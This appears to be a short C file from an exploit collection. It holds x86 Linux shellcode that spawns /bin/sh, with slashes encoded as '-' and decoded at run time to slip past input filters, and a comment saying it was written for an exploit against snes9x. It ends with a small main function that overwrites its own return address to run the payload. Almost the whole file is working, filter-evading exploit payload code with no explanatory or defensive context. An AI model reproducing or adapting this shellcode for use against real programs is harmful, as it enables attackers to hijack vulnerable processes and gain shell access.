/* * * Execve of /bin/sh. The '/' characters are '-' in the shellcode and * changed to '/' at run time. I did this for snes9x which filtered out * slashes and dots from the buffer ;-) * * Written by zillion@safemode.org * */ char shellcode[]= "\xeb\x33\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x89\x76\x0b\x8d" "\x5e\x08\x89\x5e\x0f\x89\x46\x13\x8a\x06\xfe\xc0\xfe\xc0\x88" "\x06\x8a\x46\x04\xfe\xc0\xfe\xc0\x88\x46\x04\xb0\x0b\x89\xf3" "\x8d\x4e\x0b\x8d\x56\x13\xcd\x80\xe8\xc8\xff\xff\xff\x2d\x62" "\x69\x6e\x2d\x73\x68\x23\x2d\x69\x23\x41\x41\x41\x41\x42\x42" "\x42\x42\x43\x43\x43\x43"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }